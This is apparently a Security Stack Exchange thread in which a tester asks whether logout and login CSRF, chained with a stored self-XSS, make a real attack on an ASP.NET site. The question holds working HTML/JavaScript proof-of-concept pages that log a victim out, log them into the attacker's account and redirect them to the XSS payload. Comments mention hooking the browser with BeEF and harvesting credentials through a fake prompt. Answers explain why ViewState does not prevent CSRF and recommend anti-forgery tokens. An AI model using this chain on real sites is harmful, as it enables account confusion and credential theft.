2

SCENARIO:

web application which I think is affected by:

  • a self-xss in the profile section of a user.
  • logout CSRF
  • login CSRF

Below I described the test I did to check for the last 2 vulnerabilities, I'd appreciate an opinion about their correctness.

TEST:

Logout CSRF:

  1. in one tab I'm an authenticated user

  2. on another tab where in the same browser where the user is authenticated I browse to this page.

    <html>
    <body>
    <!-- logout the victim -->
    <a href="https://vuln/logout.aspx" target="_self">click</a>
    </body>
    </html>
    
  3. If I go back to the first tab my session is ended --> here I'm quite sure this test is enough to proof logout csrf.

login CSRF: The web server is IIS and then it uses __VIEWSTATE and __EVENTVALIDATION. The test is the following:

  1. I create and host a page like this. NOTE: I substituted the real value with XXX but in my test I used current value retrieved from the application

    <!-- login the victim into the attacker profile --> 
    <form name=myform action="https://vuln/Login.aspx" method="POST">
      <input type="hidden" name="user" value="hacker" />
      <input type="hidden" name="passw" value="hacker" />
      <input type="hidden" name="LoginBtn" value="..." />
      <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="XXX" />
      <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/XXX"/>
      <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/XXX/" />
    </form>
    
  2. I simulate a user that browses to that page.

  3. The user is logged as the attacker.

Does this mean that login CSRF is happening? Should __VIEWSTATE and __EVENTVALIDATION prevent this?

EDIT (01-20-2021)

Reading the comments I decided to edit this post to add some notes to understand the final attack I wanted to deliver. I already know that taken alone: self-xss, logout csrf, login csrf are not considered to be vulnerabilities most of the times, although owasp suggests how to mitigate login csrf for example. Anyway my goal was to escalate from self-xss to xss as illustrated elsewhere: brutelogic or by Ch3ckM4te which reflects mine scenario but exploiting Oauth.

The steps were the following:

1- Send a link to the victim and wait for him to open it

2- Logout the victim (if he was authenticated)

3- Login the victim with the attacker's account credentials

4- Redirect the victim (now authenticated with the attacker's account) to the page where self-xss is stored.

5- Now the arbitrary javascript chosen by the attacker is executed in the victim's browser

Somebody pointed out in the comment that because I can't steal the session token or perform some action in the name of the victim then this chain of vulnerabilites is not dangerous.

The fact that I can execute arbitrary javascript in the context of the victim's browser in my opinion should be enough to consider this a proper attack. Just to do an example you could run:

  • BeeF hook.js and then have a lot of options.

What is BeEF? BeEF which stands for Browser Exploitation Framework is a tool that can hook one or more browsers and can use them as a beachhead of launching various direct commands and further attacks against the system from within the browser context

To have an idea, when you hook a browser this is the Beef's commands panel

enter image description here

POC

 <html>
  <body>
    <!-- logout the victim from he web application -->
    <a href="https://vuln.com/logout.aspx" target="_self" onclick=xss_login()>click</a>
    <!-- login the victim into the attacker profile --> 
    <form name=myform action="https://vuln.com/Login.aspx" method="POST">
      <input type="hidden" name="user" value="hacker" />
      <input type="hidden" name="passw" value="hacker" />
      
      <input type="hidden" name="LoginBtn" value="Loadin" />
      <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="XXX" />
      <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="XXX"/>
      <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="XXX" />
    </form>
        <script>
                //redirect the victim to the page where Self-XSS is stored and execute the payload in the user's browser context 
                function xss_redirect()
                {
                        setTimeout(function(){
                                location.href="https://vuln.com/atk/item=xss";                                                                                                                                                                      
                        } , 400);
                }
                function xss_login()
                {
                        setTimeout(function(){
                                document.myform.submit();
                                xss_redirect();
                        }, 200);
                }
                        
    </script>
  </body>
</html>

EXAMPLE OF 300$ BOUNTY

https://hackerone.com/reports/632017

4
  • 2
    BTW, if you are working on a bug bounty program, self-XSS is almost always out-of-scope and not-of-interest – Conor Mancone Jan 19 at 14:16
  • 1
    @ConorMancone If there's also a login and logout CSRF, that lets you essentially XSS someone if the self XSS persists on your account. Might not be useful for a bug bounty but from a bug fixing/security perspective it can be bad. – Redwolf Programs Jan 19 at 20:40
  • 2
    You can already use beef when the victim visits your website, which they have for the CSRF to work. So I don't think that's an issue. Phishing the credentials as I explain in my comment under Mech's answer is though – nobody Jan 20 at 10:04
  • yes you re right. In my case I was using a prompt asking for creds just to send them to my server – Maicake Jan 20 at 10:07
3

Yep, indeed the scenario is enough to say that the web app is vulnerable to Login/Logout CSRF.

ViewState and EventValidation are not meant to protect against CSRF (I guess it's a .net/asp(x) application).

In fact

ViewState is used to track and restore the state values of controls that would otherwise be lost, either because those values do not post with the form or because they are not in the page HTML. This means that a control totally defined in your page HTML, with no changes made in the code, will have no ViewState at all, as is often the case when using drag-n-drop with static content. Instead, ViewState only holds the values of properties that are dynamically changed somehow, usually in code, data-binding, or user interactions, so that they can be restored on each request.

And EventValidation prevents unauthorized requests sent by potentially malicious users from the client. To ensure that each and every postback and callback event originates from the expected user interface elements, the page adds an extra layer of validation on events. (https://docs.microsoft.com/en-us/archive/msdn-magazine/2006/december/cutting-edge-the-client-side-of-asp-net-pages)

And in your scenario, the "hacker" user becomes the legitimate user.

To prevent CSRF in asp/x applications, Microsoft offers an AntiForgery Class within its .net Framework

7
  • would the use of AntiForgery Class shown other elements inside the login form or set some cookies? I mean, how I would test with a black box approach if is enabled? (I guess I wouldn't be able to deliver the attack). Thanks for the answer – Maicake Jan 19 at 11:22
  • 1
    It adds a hidden input to the form usually called __RequestVerificationToken and a cookie with the same name. – Soufiane Tahiri Jan 19 at 11:28
  • As an attacker couldn'I browse to the login page, save the hidden __RequestVerificationToken value, add it to the form and add a document.cookie="RequestVerificationToken=xxx" on my page to invalidate this defense? Maybe I'm missing something. – Maicake Jan 19 at 11:34
  • 1
    No you cannot set a cross-domain cookie AND the validation will fail since you have no knowledge about how the hidden filed and the cookie are cryptographically associated. – Soufiane Tahiri Jan 19 at 11:36
  • 1
    It will have no sens sending only one of them. The validation won't be OK. – Soufiane Tahiri Jan 19 at 13:19
2

Your vulnerability doesn't do anything in practice.

Conor already explained in his answer that Login CSRF doesn't really exist, but I think that's not the full story.

You mentioned a self-XSS vulnerability in the profile, which leads me to believe that your attack vector looks as follows:

  1. Lure the victim to your site
  2. Abuse a CSRF vulnerability to log the victim in with your account
  3. Have the victim visit the vulnerable site
  4. The self-XSS payload now executes in the victim's browser.

However, XSS vulnerabilities are usually done for two reasons:

  1. Steal the victim's session
  2. Perform actions in the victim's name

Neither of these apply to you in this scenario, since the victim is logged in via an account you already control. As such, stealing the session of an account who's credentials you already have is pointless. Further, having the victim perform actions on an account you already own is pointless as well - you could just perform these actions yourself.

That limits you to actions that you could already perform in step 1, luring the victim to your site. That isn't a vulnerability either.

7
  • 4
    No, you can do something more here. The self-xss payload can be used to present the victim with a fake login page which sends the credentials provided to the attacker. This is better than plain old phishing since the login page will be presented on the legitimate domain. – nobody Jan 19 at 15:28
  • @nobody Technically, you're indeed correct that this is one advantage that the attacker has. But if you look at the steps involved to actually make this work, only to be presented with what is basically phishing - I'd say it's "slightly better than just phishing". But yeah, your point is valid. I'll edit it to put it in if I don't forget. – MechMK1 Jan 19 at 16:13
  • 2
    @MechMK1 I think you are really underestimating XSS here. One possible exploitation to steal user data would eg go like this: 1) victim visits attacker website. Attacker: log victim out, log victim in, open vuln site in new tab, log victim out (the victim doesn't need to do anything here, and wouldn't be aware of any of this happening) 2) victim logs into the application in the new tab. The attacker can now access the victims account from the original tab as it's still loaded, on the same origin, and has access to the window. – tim Jan 19 at 20:29
  • 1
    And that's in addition to the credential stealing already mentioned (which imho isn't comparable to normal phishing, as the user isn't doing anything wrong by entering their credentials on the legitimate but vulnerable website), defacement, etc. Depending on what else the website might not handle correctly, there may also be further attack vectors (eg installing JS service workers to perpetually track all URLs the user visits, which may in turn contain sensitive info, etc). – tim Jan 19 at 20:30
  • 1
    I edited the question and I added more info about the attack, maybe the attack it is more clear – Maicake Jan 20 at 9:38

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.